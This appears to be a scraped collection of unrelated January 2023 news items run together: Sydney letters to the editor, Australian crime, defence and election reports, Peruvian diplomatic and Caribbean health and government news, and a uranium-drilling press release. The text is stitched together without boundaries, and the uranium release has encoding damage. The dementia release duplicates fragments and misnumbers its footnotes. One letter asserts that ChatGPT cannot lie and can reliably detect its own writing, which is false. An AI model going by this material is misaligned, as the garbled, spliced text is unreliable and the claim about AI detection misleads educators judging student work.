PM speaks clearly on the Voice Shrinking support for the Indigenous Voice to parliament is heartbreaking but not surprising (Voice support falls as debate heats up, January 24). Sadly, it will continue to fall for as long as its proponents blur the detail and rely merely on goodwill and a sense of fair play to assert their argument. Anthony Albanese has been passionate in making the case for constitutional recognition of Indigenous Australians so cruelly overlooked when the nations birth certificate was drafted in the last years of the nineteenth century. But while his form of words provides for a Voice, theres no overriding symbolic statement of inclusion declaring that Indigenous Australians form the keystone of our national polity. The narrow focus on the Voice itself  a practical idea but nebulous in how it might work  is not accompanied by any soaring vision. There is no attempt to correct the original constitutional injustice. On the matter of detail, the prime ministers soothing mantra is that theres plenty of it out there  Australians just need to seek it out and all will become clear. This is far from certain. I doubt that any but a small minority of Australians are sufficiently constitutionally literate to make an assessment of the proposal on offer or to understand the nuanced position that the machinery of the Voice itself will be constructed later when it is debated and legislated in the parliament. Principle first and detail later will seem a big ask, even when the principle itself is sound. Critics of the Voice have been quick to exploit the inevitable cautionary doubts and uncertainties of Australians when they are asked to consider proposals to change or amend the Constitution. This suggests failures of strategy and advocacy. John Thompson, Darlinghurst

There is no doubt Peter Dutton is playing political games regarding the Voice and polling would suggest it is having an impact. The prime minister is becoming increasingly entangled by constantly referring voters to a 272-page report for detail, a bridge too far for the average voter. When questioned on the legislative recommendations within the report he refuses to endorse them. He needs to reset the debate. Mike Kenneally, Manly Health system still suffering While the promise by Labor of an increase in funding for womens health centres is a good thing, it would have far more impact to increase funding for all health centres and to increase pay for these essential workers (Leaders step up election promises for womens health, domestic violence, January 24). We need more fundamental changes to the health system, not vote-grabbing tweaks. Robyn Thomas, Wahroonga

Toll road roundabout The government uses taxpayers money to build expensive motorways, then leases the roads to private companies who make vast profits by charging those taxpayers to use the roads (Half a million Sydney drivers to access toll relief scheme, January 24). Then the government uses more taxpayers money to reimburse those same taxpayers for the road tolls. Im not an economist but from the point of view of the taxpayers there seems to me to be something wrong with this system. Judy Christian, Castle Hill The reason we have an expensive toll system on our roads is because the system, set up by the current Coalition government in NSW, is one that guarantees high profits to Transurban, an overseas company which now owns them. The original idea was that users would be paying for these profits, however, as they have now reached astronomical levels for such users, and there is an election looming, the profits will now be paid by the state as a whole. Brenton McGeachie, Queanbeyan West Blinded by big bucks The editorial said the economic benefits of closing the Sydney Harbour Bridge totally for seven hours was a responsible use of the public asset, whereas the closing of one lane for 25 minutes by a climate crisis advocate to raise awareness of the danger we are in was an irresponsible act (Bridge closure will bring more benefits than inconvenience, January 24).

Last November, the CSIRO released a state of the climate report which showed the increase in greenhouse gases in the atmosphere will bring about global temperature rises of up to 4.5 degrees. We are playing a deadly game of chicken with ourselves. The climate activist faces 15 months in jail. The film company has been subsidised by the NSW and federal governments to the tune of $45 million. There appears to be something wrong with our priorities. Simon Chance, Richmond Hill Short flight, long wait If only flying between Melbourne and Sydney took just over an hour as your correspondent claims (Letters, January 24). Add on security screening, waiting for baggage, the inevitable delays if not cancellations, travel between the airport and the CBD, and you can easily take up to four hours. Kate Lumley, Hurlstone Park

Cashless costs The current issue of the transition to cashless commerce has yet to acknowledge the actual amounts people pay when making a digital transaction (Letters, January 24). If a retailer adds an extra 1 per cent to the total when a card is used for payment, this fee can become a significant additional cost if a large sum is involved. A $15 purchase is charged an extra 15 cents, but to buy something with the same card for $1500 sees the cost jump to $15 for the same service. I dont imagine that the processing cost to the retailer or the bank increases with the purchase price.

It is disingenuous for businesses to imply that large surcharges are the result of banking practice. William Galton, Hurstville Grove

Put bot on the spot If an educator thinks ChatGPT might have written an assignment, why dont they just ask it (If AI has all the answers, universities need new questions, January 24). It has no reason to lie  indeed it cant, really  and can no doubt detect its own authorship better than anyone. Andrew Taubman, Queens Park Ageism lives on The only reason that your correspondent finds it baffling as to how someone can give their best in their 80s and 90s is because he is obviously not there yet (Letters, January 24). Judith Bennett, Umina Beach Your correspondents letter is a blatant expression of age discrimination. If he were an employer he would risk being liable to prosecution under the Age Discrimination Act. I would rather our governing persons be selected on proper merit than by arbitrary labels like ageing, Gen X, Gen Y etc. Age and youth should not be set against each other in this prejudiced manner. Bob Hinchcliffe, Wahroonga

No relish for pickles Anatomy of a modern Aussie burger. Credit: Jennifer Soo Fascinating reading about what is or is not an Aussie burger (An ode to the Aussie burger, January 24). However, the ubiquitous pickle, while not mentioned in the article, appeared twice in the photos of an Aussie burger. Must we forever be assailed by the American pickle in burger assessments? Just leave them out and avoid the offensive preserve. Greg Crawford, Leppington You can experiment with as many fillings as you like with my Aussie burger, just leave out that tasteless, salty, chewy, plastic beef patty. Kevin Eadie, Drummoyne
A crime family boss orchestrated a $55 million drug importation from behind bars with the help of his lovesick girlfriend, a court has heard.

Notorious Crime Family boss George Marrogi found out the huge shipment of heroin and methamphetamine had been seized by police when fellow inmate and drug baron Tony Mokbel broke the news.

George Marrogi.

The County Court heard Marrogi, 33, and girlfriend Antonietta Mannella, 29, circumvented high-security Barwon Prisons phone system to make up to 20 calls a day in which they plotted their criminal activities. The pair pleaded guilty on Tuesday to importing a commercial quantity of drugs and attempting to traffic 1,4-Butanediol.

Marrogi, who is serving 32 years in jail for the 2016 shooting murder of Kadir Ors, used the court hearing to apologise  via his barrister  to Mannella for ruining her life. He told the judge he assumed primary responsibility for this offending.
El Ministerio de Relaciones Exteriores entrego hoy una nota a la Embajada de Colombia con la energica protesta del Peru por el nuevo acto de injerencia del Presidente Gustavo Petro en temas de politica interna, conducta no consistente con las normas del Derecho Internacional.
A woman has been charged over the death of another woman who was found on a Perth street.

St John Ambulance alerted police about 1.50pm on Monday after paramedics found the 53-year-old collapsed on Wellington Street near the Pier Street intersection.

She later died from her injuries at Royal Perth Hospital.

Homicide detectives have since charged a 50-year-old woman with unlawful assault causing death.

The 50-year-old will front Perth Magistrates Court on Wednesday, with WA Police alleging she seriously injured the woman prior to her death.
Defence Minister Richard Marles says the government has almost completed its plan to acquire a fleet of nuclear-powered submarines under the AUKUS pact and wont shy away from taking tough decisions to overhaul the Defence Force for todays military threats.

Despite recent speculation about the United States ability to provide nuclear-powered submarines to Australia, Marles said Australians should feel assured the nation would not be left with a capability gap following the retirement of the ageing Collins-class fleet.

Deputy Prime Minister Richard Marles says he feels the weight of responsibility about the decisions he will make on Australian defence policy. Credit: Alex Ellinghausen

Marles will receive both the recommendations of the nuclear-powered submarine taskforce and the final version of a sweeping strategic review of the nations defence forces within weeks, laying the foundation for some of Australias most significant national security decisions in decades.

I think this is a huge moment in Australian defence history, Marles told this masthead.
Money laundering, addiction and ruined lives: how a powerful lobby group has set up a multibillion-dollar industry.

Gamblers lost more than $2.1 billion on poker machines in fewer than 100 days last year  the highest losses in NSW history  an outlay critics labelled an obscenity that reinforced the need for reform.

Daily profits for pubs and clubs from poker machines hit $23 million a day, as punters losses rose 11 per cent last year, Liquor and Gaming NSW quarterly figures show.

Research has shown mandatory cashless gaming cards at pokies venues would hinder money laundering. Credit: Nick Moir

Machines in pubs now account for 44 per cent of all losses, despite housing only 26 per cent of the states poker machines.

Wesley Mission chief executive and gambling reform advocate Reverend Stu Cameron said the losses were obscene and highlighted the need for Premier Dominic Perrottets push to turn gaming machines cashless.
The new year has treated the two leaders vying to be NSW premier very differently.

Incumbent Dominic Perrottet was forced to admit he wore a Nazi costume to his 21st birthday party, leaving hopeful Chris Minns to capitalise on the governments short-term distraction by releasing some long-awaited policies for Labor.

NSW Labor leader Chris Minns and Premier Dominic Perrottet. Credit:

Despite a horror 24 hours for Perrottet after his mea culpa, his genuine apology for a grave mistake made 20 years ago seems to have given a boost to the premiers popularity. Meanwhile, Labor has made inroads in convincing voters that it has devised some key policies ahead of the March 25 poll.

Perrottet may have edged ahead as the preferred leader, but Labor starts the year in the same place it ended 2022. It holds a winning lead ahead of the election now only eight weeks away.
NSW Labor has a winning lead eight weeks from the March 25 election but Premier Dominic Perrottets popularity has risen despite a torrid week in which he admitted to wearing a Nazi uniform to his 21st birthday party.

As NSW voters prepare to head to the polls in the tightest election contest since the Coalition swept to power in a landslide in 2011, the latest Resolve Strategic for the Herald shows Labor is ahead with a primary vote of 37 per cent.

NSW Labor leader Chris Minns and Premier Dominic Perrottet are gearing up for the state election in March. Credit:

The Coalitions primary vote is on 34 per cent, down from the 42 per cent secured when Gladys Berejiklian won in 2019. In a boost for Perrottet, his rating as preferred premier is the highest since he took over from the popular Berejiklian in November 2021.

One-third of voters prefer Perrottet as premier over Labor leader Chris Minns, who is only just behind on 29 per cent. More than a third of voters remain undecided about which man they back.
New Delhi: A court in New Delhi has approved an extradition request for the prime suspect in the killing of 24-year-old Toyah Cordingley on an Australian beach four years ago.

Rajwinder Singh, who is of Indian origin, was arrested in November on the outskirts of the Indian capital. His arrest came three weeks after he was targeted with a $1 million reward.

Toyah Cordingley was found dead on Wangetti Beach in north Queensland the day after she was reported missing.

Australia had applied to India for Singhs extradition in March 2021, but he could not be found.

Singh, 38, flew from Sydney to India the day after Cordingleys body was found on the Queensland coast on October 22, 2018.
London: Concerns about Australias animal welfare standards have been raised with Agriculture Minister Murray Watt by several MPs during a trip to London where he attempted to get the trade agreement with Britain over the line.

When in force, the deal will give Australian meat producers unrestricted access to the British market which farmers in the United Kingdom say is an unfair playing field because Australian producers use techniques that are outlawed in Britain. This includes mulesing, growing beef in feedlots, battery hens and live exports.

Cattle eat at a feedlot in South Australia.

In addition, Australian abattoirs are not required to have CCTV installed, unlike slaughterhouses in England and Scotland, prompting fears that British consumers will eat meat not produced to current standards.

Whilst the Australian Parliament has ratified the deal the UK still has not, giving critics of the agreement in Britain more chance to air their concerns.
Last week, participants from nearly 50 countries assembled for their eighth Ramstein summit to discuss support for Ukraine in its defence against the Russian invasion. With the recent Russian mobilisation of troops, the appointment of the countrys most senior soldier, General Gerasimov, as overall commander, and the step-up in missile attacks on Ukrainian cities, the need for military assistance is acute. The Russians will be launching more offensives in Ukraine. It is only matter of time and geography.

Europe and the United States have now evolved their strategy for Ukraine. They have shifted from a strategy focused on defending Ukraine, to one encompassing the defence of Ukraine and the defeat of Russia. The quality and quantity of military aid being provided ensures Ukraine has the capacity and confidence to conduct offensives in 2023 to reclaim its territory.

A Ukrainian tank drives down a street in the heavily damaged town of Siversk, near the front line of the war with Russia, at the weekend. Credit: Getty

Importantly, this summit, like those before, has breathed new life into the North Atlantic Treaty Organisation. An alliance established at the beginning of the Cold War to provide for the collective defence of Western Europe, it had been an institution in search of a cause until February 24 last year, when Russia invaded Ukraine. The existence of NATO, while often used by Putin to justify his invasion, has checked Russian aggression beyond Ukraine and has co-ordinated essential military intelligence and other support to Ukraine.

It is an alliance that has no parallel in the western Pacific.
Beirut: The judge investigating the 2020 Beirut port explosion has unexpectedly resumed his inquiry and charged top security officials, three judicial officials said, more than a year after his probe was frozen by political resistance.

Judge Tarek Bitars efforts to interrogate top officials over the explosion that killed 220 people, including an Australian toddler, and shattered Beirut have been derailed by push-back from factions including the heavily armed, Iran-backed Hezbollah.

Destroyed buildings are visible a day after a massive explosion at the port of Beirut, Lebanon, in August 2020. Credit: Getty

Bitar has charged Major General Abbas Ibrahim, head of Lebanons domestic intelligence agency, and Major General Tony Saliba, head of another security body, in connection with the blast, the officials said on Tuesday (AEDT), without specifying the charges.

He also charged former army commander Jean Kahwaji.
Presidenta @DinaErcilia Boluarte en conferencia con la prensa acreditada en la Asociacion de Prensa Extranjera en el Peru (APEP).

Ahora en vivo: https://t.co/mSNkOBnTv1
The Caribbean is set to see dementia cases rise by 155 per cent forecast by 2050

Dementia is the 7 th leading cause of death globally and the 3rd in the Americas

leading cause of death globally and the 3rd in the Americas Sint Maarten has an estimated 600 persons living with dementia which amount is projected to be 1.800 persons in 2050 [2]

Only 16 per cent per cent of Caribbean countries and territories [3] have made any progress in developing National Dementia Plans, most of which have inadequate funding

have made any progress in developing National Dementia Plans, most of which have inadequate funding Alzheimers Disease International (ADI) and national Alzheimers associations across the region are uniting to call for urgent action as most Caribbean countries are yet to see a single fully funded and implemented National Dementia Plan

Sint Maarten does not have a National Dementia Plan, but has attention for dementia in the National Mental Health Plan and addresses the risk factors for dementia in the National Multi-Sectoral Action Plan for the prevention and Control of Non-Communicable Diseases (2021-2030)

Philipsburg  23 January 2023: Despite recent statistics showing that dementia prevalence is set to increase in the Caribbean by 155 per cent by 2050, regional progress in tackling the neurodegenerative condition is far too slow, says Alzheimers Disease International (ADI), the global federation for 105 Alzheimers and dementia associations across the world.

Only 16 per cent of Caribbean countries and territories have made progress in developing a National Dementia Plan, most of which have inadequate funding.

ADI is calling for the public across the Caribbean to urge their governments to take urgent action on dementia, teaming up with Alzheimers associations in Bahamas, Barbados, Bonaire, British Virgin Islands, Cayman Islands, Dominica, Grenada, Puerto Rico, Sint Maarten, St Lucia, St Kitts and Nevis, and Trinidad and Tobago to launch a regional campaign Whats Your Plan (#WhatsYourPlan).

Urgent action is required now: Dementia care is a human right

While a few countries in the region, like the Dominican Republic and Cuba have implemented National Dementia Plans, unfortunately most are without adequate funding. The Caribbean ADI members participating in the #WhatsYourPlan campaign are yet to have any fully funded, implemented National Dementia Plan in their countries.

Raymond Jessurum, Secretary and Spokesperson for the St Maarten Alzheimer's Foundation says, Persons living with dementia and their carers have the same rights as we have. As such, we ask the government of St Maarten #WhatsYourPlan to improve the lives of those living with dementia, carers and the wider society that the condition impacts on the island.

Paola Barbarino, ADIs CEO, says developing, funding, and implementing National Dementia Plans is essential to improving health outcomes for people living in the Caribbean with dementia.

A National Dementia Plan is a vital step in helping those living with dementia to have access to the support and services they need to live well, for longer, says Barbarino. Access to support and a care plan, including care at home and in community settings, at-home adaptations, and respite for carers, alongside medical treatments, are vital for people living with dementia, as well as their carers and family.

By denying St Maarten and those across the region this support, governments are doing a disservice to their communities, says Barbarino. All people living with dementia in the Caribbean deserve access to the kinds of support and services a National Dementia Plan makes available. Its their human right.

As the worlds population gets older, the prevalence of Alzheimers disease and dementia is rapidly increasing, threatening to overwhelm health services in many countries. In 2019, dementia was ranked the 3rd leading cause of death in the Americas, accounting for over 390,000 deaths.

ADI is calling on people living in Caribbean countries participating in the #WhatsYourPlan campaign to urge their governments to develop a National Dementia Plan that features, improvements in care for those living with dementia, support for carers and to implement key policies to help delay or reduce up to 40 per cent of the possible number of cases of dementia in the future.

Were talking with the various Ministries of Health, Age & Social Support in many Caribbean countries, and while in some cases it can lead to progress it is often too slow. For a condition like dementia, time is of the absolute essence. People cannot wait, says Paola Barbarino. We need people from all over the Caribbean to speak up for people with dementia so that their governments might actually listen and act.

Empty promises and blunt tools: Lack of funding stalling progress in the Caribbean

While some progress has been made in developing National Dementia Plans in the Caribbean, Paola Barbarino, ADI Chief Executive Officer, says that a lack of funding for these plans means many communities are missing out.

A National Dementia Plan is a governments best tool for preparing for this looming global health crisis, says Barbarino. Despite some progress to develop plans in a few Caribbean nations, without adequate funding to implement them, these plans are laying unused on the desks of bureaucracy across the region - more empty promises, and blunt tools.

Continued inaction now will lead to much greater health, care and societal challenges in managing dementia later, continues Barbarino. Governments must have robust dementia strategies funded and in place, to save healthcare systems from being overwhelmed as dementia cases rise in the future.

Over 740,000 people: While progress stalls, the number of people in the Caribbean living with dementia continues to soar

The latest estimates show that there will be over 740,000 people living with dementia in the Caribbean by 2050.

In St Maarten there are estimated to be 600 persons living with dementia, a number expected to increase to 1.800 persons by 2050. However, its often not possible to obtain the true number of people living with dementia in St Maarten as it is not measured by the government; an issue which would be ameliorated by a National Dementia Plan.

Research has found that the greatest risk factors for dementia in the Caribbean include Cardiovascular health, diabetes, family history, older age, education. Further, women with lower levels of education in rural areas are overrepresented in dementia statistics in the Caribbean. A total of 30,550 persons (49% of the total population) are at risk of developing dementia. 31% reported to have high blood pressure and 18% reported to have diabetes related complications[4], and should therefore be diagnosed and monitored regularly.

Risk reduction should be designed with a life-course approach in mind, targeting both older and younger populations, with a focus on the modifiable 12 risk factors estimated to contribute to 40 per cent of the cases of those living with dementia.

[1] DEMENTIA PREVALENCE ESTIMATES SINT MAARTEN - drs Raymond Jessurun, SMAF Secretary, October 2022

[1] Caribbean territories with Alzheimers associations participating in ADIs Whats Your Plan indicated in bold: Antigua and Barbuda, Anguilla, Aruba, Bahamas, Belize, Barbados, Bonaire, British Virgin Islands, Cayman Islands, Cuba, Curacao, Dominica, Dominican Republic, Grenada, Guadeloupe, Guyana, Haiti, Jamaica, Martinique, Montserrat, Puerto Rico, Saint Kitts and Nevis, Saint Martin, Saint Barthelemy, Saint Lucia, Saint Vincent and the Grenadines, Sint Maarten, Suriname, Trinidad and Tobago, Turks and Caicos Islands, and United States Virgin Islands.

[2] DEMENTIA PREVALENCE ESTIMATES SINT MAARTEN - drs Raymond Jessurun, SMAF Secretary, October 2022

[3] Caribbean territories with Alzheimers associations participating in ADIs Whats Your Plan indicated in bold: Antigua and Barbuda, Anguilla, Aruba, Bahamas, Belize, Barbados, Bonaire, British Virgin Islands, Cayman Islands, Cuba, Curacao, Dominica, Dominican Republic, Grenada, Guadeloupe, Guyana, Haiti, Jamaica, Martinique, Montserrat, Puerto Rico, Saint Kitts and Nevis, Saint Martin, Saint Barthelemy, Saint Lucia, Saint Vincent and the Grenadines, Sint Maarten, Suriname, Trinidad and Tobago, Turks and Caicos Islands, and United States Virgin Islands.

[4] report of the study How Healthy is St Martin
PHILIPSBURG (DCOMM):--- The Royal Family will be visiting the In-No-Plastic Science Fair during their visit to the country in early February.



Various schools, primary and secondary, have been invited to participate in the fair. The theme for this event is, Plastic and Our Environment.



Sint Maarten Nature Foundation Manager Leslie Hickerson said on Monday, We are very excited to host this event for St. Maarten students. It gives them both an opportunity to look at environmental issues on the island and a chance to address those issues with creative ideas.



The added bonus of meeting the Royal Family and earning a spot on one of our snorkel tours hopefully inspires them to put their best designs forward.

The In-No-Plastic team and other Nature Foundation staff are able to answer questions or give help if needed.



The fair will take place at the Belair Community Center from 11:20 AM on Tuesday, February 7.



Students have been invited to create a science-fair style display about their topic. 60 participants will get the opportunity to join a snorkel activity with the Nature Foundation, and winners will be chosen by age group.



His Majesty King Willem Alexander and Her Majesty Queen Maxima last visited Sint Maarten in 2013. This will be Princess Amalias first visit to Sint Maarten, during which time she will be introduced to the islands within the Kingdom.



Members of the Royal Family will pay a visit to the Caribbean part of the Kingdom of the Netherlands from Friday 27 January to Thursday 9 February 2023.
On Friday, January 20th, 2023, Minister of Education, Culture, and Science, Mr. Robbert Dijkgraaf, visited the Dutch Caribbean Nature Alliance (DCNA) office on Bonaire. After a meet & greet with the staff, the DCNA was given the opportunity to highlight the importance of research and monitoring, local nature conservation organizations, and working together to safeguard nature within the Caribbean part of the Dutch Kingdom.



Arno Verhoeven, director of the DCNA, stressed that there are only a few remaining cooperative bodies between the six islands of the Dutch Caribbean and that the main reason DCNA works is a common understanding of nature and a willingness to share knowledge. Actually, the Dutch Caribbean has a lot when it comes to science and research. All these passionate people working in conservation on the islands have one thing in common, their drive to protect nature  and nature has no boundaries. The knowledge and skills they accumulate in this network are enormous and their willingness to share is part of this drive. With six major nature organizations, we are an important regional knowledge centre. says Verhoeven.



The Dutch Caribbean is home to a wide variety of unique animal and plant species. Many of these are endangered due to loss of habitat, pollution, overgrazing and the impact of invasive species, climate change, and other stressors. To manage the islands natural resources islands wisely and sustainably, knowledge about the complex and fragile ecosystems in the Dutch Caribbean is essential. Especially when these resources are used to support local communities and form the basis for the economic well-being of the islands. Therefore, research, monitoring, communication, and outreach play a crucial role. Science is a strong component in any nature programme, and when looking for more funding, it is a cornerstone of any application.



The DCNA is a non-profit organization created to protect the natural environment and to promote sustainable management of natural resources, both on land and in the water, on the six Dutch Caribbean islands. The alliance works with local park management organizations (parks) and other nature conservation organizations. It is also a representative for the local parks when dealing with governments, and policymakers, or when engaging with regional or international organizations on a multi-island level.



One of the core tasks of the DCNA is to promote and facilitate permanent dialogue, knowledge sharing, training, and cooperation between the parks. DCNAs Research & Monitoring Working Group provides a platform where biologists of the parks meet to share experiences, knowledge, and advice regarding research and monitoring. Additionally, this group works to harmonize scientifically sound monitoring protocols for the most important biodiversity indicators (species and habitats), and develops analysis tools and strategies to guide researchers (and funders) in their design and conduct of research and monitoring in the Dutch Caribbean.



"We also support research and monitoring in the Dutch Caribbean by helping to improve communication and outreach. For example, we make scientific information more accessible through the Dutch Caribbean Biodiversity Database (DCBD), the news platform BioNews and other media channels. We are thankful to the Ministry of Agriculture, Nature, and Food Quality (LNV) for supporting this work commented Tineke van Bussel, DCNAs Research and Communication Liaison.



As a regional network spanning the Dutch Caribbean, and with a long working relationship with the local conservation community, DCNA is uniquely positioned to contribute towards the development and successful implementation of science initiatives in the region. We want to strengthen our work as a regional knowledge centre and would welcome more means to serve our stakeholders, explains Arno Verhoeven.
PHILIPSBURG:--- On Monday, January 23, 2023, the Honorable Minister of Justice Anna E. Richardson, Prison Director Mr. Steven Carty, and support staff welcomed the second mission of the United Nations Office for Project Service (UNOPS) back to Sint Maarten. This second visit by UNOPS is dedicated to engaging with key stakeholders for the planning and design phase of the new prison project (Sint Maarten Rule of Law Facilities).

In welcoming UNOPS back to Sint Maarten, Minister Richardson said that the governments priority is to build a new prison infrastructure benefiting both the prison population and the employees of the prison. The Minister noted that the construction of a new prison will help in creating the capacity that meets the country's demand. Prison director Carty echoed Minister Richardsons sentiments and looked forward to the discussions held during the visit.

The current mission follows the signing of the project proposal agreement between the Government of Sint Maarten represented by Minister Richardson, UNOPS represented by the Director of the UNOPS Multi-Country Office for Panama, Costa Rica and the English & Dutch Speaking Caribbean, Mr. Alejandro Rossi, and the Netherlands represented by State Secretary for the Interior and Kingdom Relations and Digitisation Mrs. Alexandra van Huffelen, and the signing of the letter of agreement between Sint Maarten and UNOPS which took place on December 7, 2022.

The mission is headed by Mr. William Squier Gonzalez, Head of Programmes, and his team consists of a project support officer, a lead engineer, and a procurement specialist. The discussions held during this week's visit along with the working group sessions will help to mobilize the project expeditiously by identifying the key components that need to be addressed in order to ensure timely implementation of phase I of the project. Also, included in the mission amongst other things are visits to His Excellency Governor Baly, a meeting, and presentation to the Council of Ministers, and upon the request of Minister Richardson, a visit and presentation to the Justice Committee of Parliament. The mission ends on January 27, 2023, after laying the groundwork for the establishment of a UNOPS office on Sint Maarten, which is scheduled to be operational in the month of February 2023.
Uranium Energy Corp Intersects 23.2% eU3O8 over 3.4 m, Extending the new Sakura Zone at Christie Lake Project in Eastern Athabasca Basin, Canada

br />Expanding High-Grade Footprint: UEC intersects additional high-grade uranium mineralization with CB-178-1, its first drill hole in the 2023 Sakura Zone drill program at the Christie Lake Project (athe Projecta). This intersection expands the footprint of the high-grade mineralization at the new zone, first reported in October last year, CB-178-1 is approximately 10 m from CB-176A that graded 68.7% eU3O8 over 2.1 m.

Premier Location: Christie Lake is nine km northeast of McArthur River, the worlda?s largest high-grade uranium mine, and along the same geological trend (see Figures 1 & 2). The Sakura Zone, discovered in August 2022, is along the Yalowega mineralized corridor (see Figures 3 & 4).

Infrastructure Advantage: The Project straddles the Eastern Athabasca High Grade Uranium Corridor, representing a 19,576 acre land package situated between the two world class uranium operations at McArthur River and Cigar Lake.

Synergies with Roughrider Project: Christie Lake is one of the key projects in UECa?s Eastern Athabasca Hub strategy and the company is considering the synergies between this project and the Roughrider and Horseshoe-Raven Projects.

Ongoing Exploration: These intercepts represent the first results of the 3-month winter campaign. more holes are anticipated to be reported over the winter, leading to an update of the Christie Lake resource in 2023.

Uranium Energy Corp (NYSE American: UEC, the aCompanya or aUECa  https://www.commodity-tv.com/ondemand/companies/profil/uranium-energy-corp/) is pleased to announce new uranium mineralization in drill hole CB-178-1 that grades 5.42% eU3O8 over 15.6 metres, including a subinterval that grades 23.2% eU3O8 over 3.4 metres (Table 1). This result expands the footprint of high-grade uranium mineralization at the Christie Lake Project that was initially announced last year (see press release from October 4, 2022).

Vertical depth to the unconformity-hosted mineralization at Christie Lake is between 400 and 420 metres (ama) from surface. This is shallower by about 100 m than McArthur River and at approximately the same depth as Cigar Lake. The McArthur River and Cigar Lake Deposits are the archetypical high-grade Athabasca super-deposits with combined reserves and past production of 985.7 million lb. uranium.

Amir Adnani, CEO and President stated: aFollowing our acquisition of UEX in 2022 we commenced a drilling program at the Christie Lake Project and reported one of the best intercepts of the year in Canadaa?s high-grade Athabasca Basin with our discovery at the Sakura zone, with 68.7% eU3O8 over 2.1 meters. We hit the ground running in 2023 to follow-up and test the continuity at this new zone and are excited to see the first drill hole of our new program expand the footprint of the high-grade mineralization. The results announced today also demonstrate the capability of our Canadian technical team to unlock value from UECa?s Canadian conventional project pipeline. Moving forward, we have two objectives with our Eastern Athabasca Basin projects, 1) continue with aggressive exploration drilling for resource growth and 2) evaluate potential synergies for future development given the proximity of Christie Lake and Horseshoe Raven projects to our recently acquired Roughrider project.a

Chris Hamel, Vice President Exploration, Canada stated: aThe confirmed continuity of the high-grade uranium mineralization at the Sakura zone suggests a previously unrecognized trend of uranium mineralization at Christie Lake. With constrained expenditures during the years of the uranium bear market the exciting potential of Christie Lake was left under-explored. Wea?re excited to be aggressively drilling and growing the world-class potential of this project. UECa?s ability to apply financial strength into the project builds upon the technical work and compilation efforts done by UEX since 2016 to set the stage for this success.a

Mineralization at the Sakura Zone remains open for expansion in all directions and is the focus of the 2023 drilling on the Christie Lake Project.

About Canadaa?s Athabasca Basin

The Athabasca Basin is a world-class uranium district in the northern portion of the provinces of Saskatchewan and Alberta in Canada, occupying an area of about 100,000 square kilometers. The unique geology of the Athabasca Basin deposits can result in deposit grades that exceed the world average of uranium deposits of 0.2% U3O8 by up to 100 times.

All of Canadaa?s current uranium production occurs from the mines located in the Athabasca Basin. According to the World Nuclear Association, the Athabasca Basin was responsible for producing 9.7% of the worlda?s uranium production in 2021.

Uranium mineralization in the Athabasca Basin occurs in fault structures that penetrate the interface between the sandstone and underlying basement rocks, known as the unconformity. Uranium can be found at the interface, known as the unconformity, or up to several hundreds of meters below the unconformity surface in the underlying fault structures in the basement.

The uranium concentrations from holes presented above from the radiometric equivalent uranium grade (aREGa), denoted as eU3O8, which is determined in-situ within the drill hole. For more information on REGs please see the aAbout Radiometric Equivalent Gradesa section below.

The core recovery from parts of the mineralized zone in hole CB-178-1 is estimated at approximately 50%. The portions of the core recovered from the interval confirm the presence of very high-grade uranium mineralization. Thus, the Company believes that assay results collected from the mineralized interval may not be representative of the true concentration of uranium present and that the REG presented above will be a more accurate estimate of grade.

About Radiometric Equivalent Grades

The eU3O8 grades were estimated in-situ within the drill holes using calibrated down-hole radiometric gamma probes which are lowered down the hole, a method commonly used by uranium explorers and miners in the Athabasca Basin. The probe records the amount of radioactivity present in the rock adjacent to the probe as it moves up and down the hole.

The probes were calibrated prior to the commencement of the current drill program at the Saskatchewan Research Councila?s (aSRCa) test pit facility in Saskatoon. Using down-hole probes to calculate radiometric equivalent grades is a common practice by uranium mining companies in the Athabasca Basin. Down-hole probes can accurately measure uranium concentration by measuring the light flashes that occur every time the probea?s scintillator is struck by a gamma radiation particle emitted from uranium crystals. The number of light flashes are acounteda? by a photomultiplier tube. Sometimes within high-grade intervals, due to a process called asaturationa? occurs when light emitted by the probea?s scintillator overwhelms the photomultiplier tubea?s ability to acounta? individual light flashes it can be difficult to accurate determine radiometric equivalent grades.

Samples from all holes have been collected for assay analysis to confirm these equivalent grades. The samples will be analyzed at the SRCa?s Geoanalytical Laboratory in Saskatoon, Saskatchewan, with results expected in the coming weeks.

About the Christie Lake Project

UEC holds an 82.775% combined direct and indirect interest in the Christie Lake Project which is a joint venture with JCU (Canada) Exploration Company, Limited, a company that is 50% owned by UECa?s wholly owned subsidiary UEX Corporation. UECa?s direct ownership in Christie Lake is 65.5492% and indirect ownership through its 50% ownership in JCU is 17.2254%

The Christie Lake Project is located in the eastern Athabasca Basin (see Figures 1 & 2) approximately 9 km northeast and along strike of Camecoa?s McArthur River Mine, the worlda?s largest and highest-grade uranium mine. The controlling structure of the McArthur River Mine deposits, the P2 fault, continues to the northeast beyond the mine and trends onto the Christie Lake Project. Our technical team believes that, through a series of en-echelon steps, the northeast strike extension of the P2 Fault not only crosses the Christie Lake Project but also controls the three known uranium deposits on Christie Lake: the ?rora, Paul Bay and Ken Pen Deposits as well as the newly discovered Sakura Zone.

Qualified Persons and Data Acquisition

The technical information in this news release has been reviewed and approved by Chris Hamel, P.Geo., UECs Vice President Exploration, Canada who is considered to be a Qualified Person as defined by S-K 1300.

About Uranium Energy Corp

Uranium Energy Corp is the fastest growing supplier of the fuel for the green energy transition to a low carbon future. UEC is the largest, diversified North American focused uranium company, advancing the next generation of low-cost, environmentally friendly In-Situ Recovery (aISRa) mining uranium projects inA the United States and high-grade conventional projects in Canada. The Company has two production-ready ISR hub and spoke platforms in South Texas and Wyoming. These two production platforms are anchored by fully operational central processing plants and served by seven U.S. ISR uranium projects with all their major permits in place. Additionally, the Company has diversified uranium holdings including: (1) one of the largest physical uranium portfolios of North American warehoused U3O8; (2) a major equity stake in Uranium Royalty Corp., the only royalty company in the sector; and (3) a Western Hemisphere pipeline of resource stage uranium projects. The Company\-s operations are managed by professionals with decades of hands-on experience in the key facets of uranium exploration, development and mining.

For additional information, please contact:

Uranium Energy Corp Investor Relations

Toll Free:A (866) 748-1030

Fax:A (361) 888-5041

E-mail:A info@uraniumenergy.com

Twitter: @UraniumEnergy

In Europe:

Swiss Resource Capital AG

Jochen Staiger & Marc Ollinger

info@resource-capital.ch

www.resource-capital.ch

Stock Exchange Information:

NYSE American:A UEC

Frankfurt Stock Exchange Symbol:A U6Z

WKN:A AAJDRR

ISN:A US916896103

Safe Harbor Statement

